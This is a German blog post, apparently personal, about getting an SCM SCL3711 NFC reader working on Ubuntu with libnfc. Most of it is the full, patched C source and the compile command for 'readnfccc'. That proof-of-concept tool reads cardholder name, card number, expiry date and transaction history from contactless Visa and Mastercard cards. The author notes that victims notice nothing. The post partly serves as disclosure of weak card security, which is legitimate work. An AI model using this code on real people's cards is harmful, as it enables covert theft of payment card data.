Kontaktloses Bezahlen vs SCM SCL 3711

closeDieser Beitrag wurde vor über 3 Monaten veröffentlicht. Die darin beschriebenen Informationen sind mit Vorsicht zu geniessen, da sie bereits veraltet oder nicht mehr gültig sein könnten. Solltest du von Neuerungen oder Verbesserungen wissen, so freue ich mich über einen klärenden Kommentar.

Mann, mann, mann! Was für ein Kampf… Gestern hatte ich endlich meinen SCM SCL 3711, ein NFC Leser für die Frequenzen von Kreditkarten für gerade mal 40.- USD, im Briefkasten. Und wer jetzt bereits wieder böses denkt, nein ich klaue keine fremden Daten damit – alles nur zu Testzwecken. Und wer keine Ahnung hat, was NFC, RFID oder kontaktloses Bezahlen sein soll, der schaut sich zuerst mal das Video am Ende des Beitrages an!

Die Installation unter Ubuntu war alles andere als einfach! Begonnen hat alles mit der Installation von libnfc in der Version 1.6.0 R1, welches irgendwie einfach nicht so wollte wie ich. Eigentlich gibt es ja eine schöne Anleitung was man tun muss, doch leider reichen die darin beschriebenen 5 Schritte bei weitem nicht aus.
Zuerst muss man mal die passenden Vorbedingungen schaffen:

sudo apt-get install libusb-dev libpcsclite-dev
sudo apt-get install libusb-0.1-4 libpcsclite1 libccid pcscd

Weiter geht’s dann, indem man sich die Source von libnfc von Sourceforge herunterlädt:

wget https://libnfc.googlecode.com/files/libnfc-1.6.0-rc1.tar.gz
tar -xvzf libnfc-*

Und aus dem ganzen ein Debian-Paket macht:

cd libnfc-1.6.0-rc1
svn checkout http://libnfc.googlecode.com/svn/tags/libnfc-1.6.0-rc1/debian
dpkg-buildpackage -b -us -uc

Und hier kamen auch bereits die ersten Probleme. Wie es aussieht, braucht meine frische Ubuntu-Installation noch mehr Vorbereitung:

sudo apt-get install dh-autoreconf libtool 

Nun dpkg-buildpackage nochmals starten und schon kommt man ein Stück weiter, zum nächsten Error. Leider sagt dieser nicht wirklich viel aus, doch lässt sich denkbar einfach lösen, wenn man denn weiss wie. Einfach dpkg-buildpackage gleich nocheinmal starten und diesmal läuft alles fehlerfrei durch. Juhee!
Nun können die erstellten Pakete auch sogleich installiert werden:

sudo dpkg -i ../libnfc*.deb

Damit ist die Installation abgeschlossen und der Dongle kann mit nfc-list getestet werden – dachte ich! Doch interessanterweise erhalte ich immer die Fehlermeldung, dass mein NFC Leser nicht erkannt werden konnte:

No NFC device found.

Und das obwohl der Dongle problemlos erkannt wird:

Bus 002 Device 005: ID 04e6:5591 SCM Microsystems, Inc.

Nach ein fast einer Nacht der Suche lag das Problem auf der Hand: Der Dongle sollte eigentlich direkt von libusb angesprochen werden können, aber wie es scheint, eilt PC/SC dem jeweils zuvor und blockiert den Zugriff somit. Bestätigt hat das auch ein Blick in lsmod, welcher die Module pn533 und nfc als geladen aufwies. Also habe ich zuerst versucht, mich irgendwie PC/SC zu entledigen, doch scheinbar wollte es nicht ausreichen, nur den Deamon zu stoppen, denn nfc-list aktiviert diesen jedesmal wieder:

/etc/init.d/pcscd stop

Also musste ich mit härteren Mittel ans Werk. Zuerst werden in der Datei /etc/modprobe.d/blacklist-libnfc.conf die Module nfc und pn533 blockiert:

blacklist pn533
blacklist nfc

Danach muss der Dongle nur noch ausgesteckt und die Module entladen werden:

sudo modprobe -r pn533 nfc

Schon kann man wieder einstecken und siehe da, nfc-list erkennt mein Dongle plötzlich problemlos:

trace	libnfc.general	"SCM Micro / SCL3711-NFC&RW - PN533 v2.7 (0x07)" (pn53x_usb:002:006) has been claimed.

Damit ist der Leser mal soweit einsatzbereit und ansprechbar!

Also kommt der nächste Schritt, denn irgendwie muss der Output des Lesers ja in les- und verwertbare Daten umgewandelt werden. Dazu hat sich ein Franzose bereits die Mühe gemacht und seine Lösung an der Shakacon IT Conference vorgestellt:

Also habe ich doch gleich mal sein Script ausprobiert, doch leider ohne Erfolg, da sich seit der Erstellung zur Zeit von libnfc 1.4 und heute mit libnfc 1.6 bereits einiges grundlegend geändert hat. Doch auf der Googlecode-Seite gab es bereis der eine oder andere Patch für das Script, welche nur noch integriert werden mussten, wodurch am Schluss folgendes Script zum Vorschein kommt:

/*

readnfccc - by Renaud Lifchitz (renaud.lifchitz@bt.com)
License: distributed under GPL version 3 (http://www.gnu.org/licenses/gpl.html)

* Introduction:
"Quick and dirty" proof-of-concept
Open source tool developped and showed for Hackito Ergo Sum 2012 - "Hacking the NFC credit cards for fun and debit ;)"
Reads NFC credit card personal data (gender, first name, last name, PAN, expiration date, transaction history...) 

* Requirements:
libnfc (>= 1.4.2) and a suitable NFC reader (http://www.libnfc.org/documentation/hardware/compatibility)

* Compilation: 
$ gcc readnfccc.c -lnfc -o readnfccc

*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#include <nfc/nfc.h>

// Choose whether to mask the PAN or not
#define MASKED 0

#define MAX_FRAME_LEN 300
 
void show(size_t recvlg, uint8_t *recv) {
 	int i;
 	printf("< ");
 	for(i=0;i<(int) recvlg;i++) {
			printf("%02x ",(unsigned int) recv[i]);
        }
        printf("\n");
}

int main(int argc, char **argv) {
 	nfc_device* pnd;
 
	uint8_t abtRx[MAX_FRAME_LEN];
	uint8_t abtTx[MAX_FRAME_LEN];
 	size_t szRx = sizeof(abtRx);
 	size_t szTx;

	uint8_t START_14443A[] = {0x4A, 0x01, 0x00};
	uint8_t SELECT_APP[] = {0x40,0x01,0x00,0xA4,0x04,0x00,0x07,0xA0,0x00,0x00,0x00,0x42,0x10,0x10,0x00};
	uint8_t READ_RECORD_VISA[] = {0x40, 0x01, 0x00, 0xB2, 0x02, 0x0C, 0x00, 0x00};
	uint8_t READ_RECORD_MC[] = {0x40, 0x01, 0x00, 0xB2, 0x01, 0x14, 0x00, 0x00};
	uint8_t READ_PAYLOG_VISA[] = {0x40, 0x01, 0x00, 0xB2, 0x01, 0x8C, 0x00, 0x00};
	uint8_t READ_PAYLOG_MC[] = {0x40, 0x01, 0x00, 0xB2, 0x01, 0x5C, 0x00, 0x00};
 
 	unsigned char *res, output[50], c, amount[10],msg[100];
 	unsigned int i, j, expiry;
        nfc_init(NULL);
		
		pnd = nfc_open(NULL, NULL);
        if (pnd == NULL) {
                printf("Unable to connect to NFC device.\n");
                return(1);
        }
        printf("Connected to NFC reader: %s\n", nfc_device_get_name(pnd));
        nfc_initiator_init(pnd);

        while(1) {

                szRx = sizeof(abtRx);
                if (!pn53x_transceive(pnd, START_14443A, sizeof(START_14443A), abtRx, &szRx, NULL)) {
                                nfc_perror(pnd, "START_14443A");
                                return(1);
                }
                //show(szRx, abtRx);

                szRx = sizeof(abtRx);
                if (!pn53x_transceive(pnd, SELECT_APP, sizeof(SELECT_APP), abtRx, &szRx, NULL)) {
                                nfc_perror(pnd, "SELECT_APP");
                                return(1);
                }
                //show(szRx, abtRx);

                szRx = sizeof(abtRx);
                if (!pn53x_transceive(pnd, READ_RECORD_VISA, sizeof(READ_RECORD_VISA), abtRx, &szRx, NULL)) {
                                nfc_perror(pnd, "READ_RECORD");
                                return(1);
                }
                //show(szRx, abtRx);

                /* Look for cardholder name */
                res = abtRx;
                for(i=0;i<(unsigned int) szRx-1;i++) {
                                if(*res==0x5f&&*(res+1)==0x20) {
                                        strncpy(output, res+3, (int) *(res+2));
                                        output[(int) *(res+2)]=0;
                                        printf("Cardholder name: %s\n",output);
                                        break;                  
                                }
                                res++;
                }

                /* Look for PAN & Expiry date */
                res = abtRx;
                for(i=0;i<(unsigned int) szRx-1;i++) {
                                if(*res==0x4d&&*(res+1)==0x57) {
                                        strncpy(output, res+3, 13);
                                        output[11]=0;
                                        printf("PAN:");
                                        
                                        for(j=0;j<8;j++) {
                                                if(j%2==0) printf(" ");
                                                c=output[j];
                                                if(MASKED & (j>=2) & (j<=5)) {
                                                        printf("**");
                                                }
                                                else {
                                                        printf("%02x",c&0xff);
                                                }
                                        }
                                        printf("\n");
                                        expiry = (output[10]+(output[9]<<8)+(output[8]<<16))>>4;
                                        printf("Expiration date: %02x/20%02x\n\n",(expiry&0xff),((expiry>>8)&0xff));
                                        break;                  
                                }
                                res++;
                }

                szRx = sizeof(abtRx);
                if (!pn53x_transceive(pnd, READ_RECORD_MC, sizeof(READ_RECORD_MC), abtRx, &szRx, NULL)) {
                                nfc_perror(pnd, "READ_RECORD");
                                return(1);
                }
                //show(szRx, abtRx);

                /* Look for cardholder name */
                res = abtRx;
                for(i=0;i<(unsigned int) szRx-1;i++) {
                                if(*res==0x5f&&*(res+1)==0x20) {
                                        strncpy(output, res+3, (int) *(res+2));
                                        output[(int) *(res+2)]=0;
                                        printf("Cardholder name: %s\n",output);
                                        break;                  
                                }
                                res++;
                }

                /* Look for PAN & Expiry date */
                res = abtRx;
                for(i=0;i<(unsigned int) szRx-1;i++) {
                                if(*res==0x9c&&*(res+1)==0x57) {
                                        strncpy(output, res+3, 13);
                                        output[11]=0;
                                        printf("PAN:");
                                        
                                        for(j=0;j<8;j++) {
                                                if(j%2==0) printf(" ");
                                                c=output[j];
                                                if(MASKED & (j>=2) & (j<=5)) {
                                                        printf("**");
                                                }
                                                else {
                                                        printf("%02x",c&0xff);
                                                }
                                        }
                                        printf("\n");
                                        expiry = (output[10]+(output[9]<<8)+(output[8]<<16))>>4;
                                        printf("Expiration date: %02x/20%02x\n\n",(expiry&0xff),((expiry>>8)&0xff));
                                        break;                  
                                }
                                res++;
                }


                for(i=1;i<=20;i++) {
                        READ_PAYLOG_VISA[4] = i;
                        szRx = sizeof(abtRx);
                        if (!pn53x_transceive(pnd, READ_PAYLOG_VISA, sizeof(READ_PAYLOG_VISA), abtRx, &szRx, NULL)) {
                                        nfc_perror(pnd, "READ_RECORD");
                                        return(1);
                        }
                        if(szRx==18) { // Non-empty transaction
                                //show(szRx, abtRx);
                                res = abtRx;

                                /* Look for date */
                                sprintf(msg,"%02x/%02x/20%02x",res[14],res[13],res[12]);

                                /* Look for transaction type */
                                if(res[15]==0) {
                                        sprintf(msg,"%s %s",msg,"Payment");
                                }
                                else if(res[15]==1) {
                                        sprintf(msg,"%s %s",msg,"Withdrawal");
                                }
                                
                                /* Look for amount*/
                                sprintf(amount,"%02x%02x%02x",res[3],res[4],res[5]);
                                sprintf(msg,"%s\t%d,%02xÄ",msg,atoi(amount),res[6]);

                                printf("%s\n",msg);
                        }
                }

                for(i=1;i<=20;i++) {
                        READ_PAYLOG_MC[4] = i;
                        szRx = sizeof(abtRx);
                        if (!pn53x_transceive(pnd, READ_PAYLOG_MC, sizeof(READ_PAYLOG_MC), abtRx, &szRx, NULL)) {
                                        nfc_perror(pnd, "READ_RECORD");
                                        return(1);
                        }
                        if(szRx==18) { // Non-empty transaction
                                //show(szRx, abtRx);
                                res = abtRx;

                                /* Look for date */
                                sprintf(msg,"%02x/%02x/20%02x",res[14],res[13],res[12]);

                                /* Look for transaction type */
                                if(res[15]==0) {
                                        sprintf(msg,"%s %s",msg,"Payment");
                                }
                                else if(res[15]==1) {
                                        sprintf(msg,"%s %s",msg,"Withdrawal");
                                }
                                
                                /* Look for amount*/
                                sprintf(amount,"%02x%02x%02x",res[3],res[4],res[5]);
                                sprintf(msg,"%s\t%d,%02xÄ",msg,atoi(amount),res[6]);

                                printf("%s\n",msg);
                        }
                }               

                printf("-------------------------\n");
        }

        nfc_close(pnd);        
		nfc_exit(NULL);

        return(0);
}

Das ganze muss nur noch kompiliert werden:

gcc readnfccc.c -lnfc -o readnfccc

Und kann auch sogleich verwendet werden… Erschreckend, dass es so einfach sein kann, um beliebige Kreditkartendaten auszulesen, ohne dass das Opfer etwas davon merkt. Und wer ein Smartphone mit NFC besitzt, der kann das ganze sogar ohne weitere Aufwände (siehe ab Minute 07:00):

Doch wahrscheinlich muss das Thema erst mal in der breiten Öffentlichkeit breitgetreten werden, bis Visa, Mastercard und Co die Kreditkartendaten endlich verschlüsselt auf der Karte ablegen! Happy Hacking!

close
Immer informiert sein dank meines RSS Feeds.Oder folge mir via Twitter!

4 Gedanken zu „Kontaktloses Bezahlen vs SCM SCL 3711

Hinterlasse eine Antwort

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind markiert *

Du kannst folgende HTML-Tags benutzen: <a href="" title=""> <b> <blockquote cite=""> <cite> <del datetime=""> <em> <i> <pre lang="" line="" escaped=""> <strong>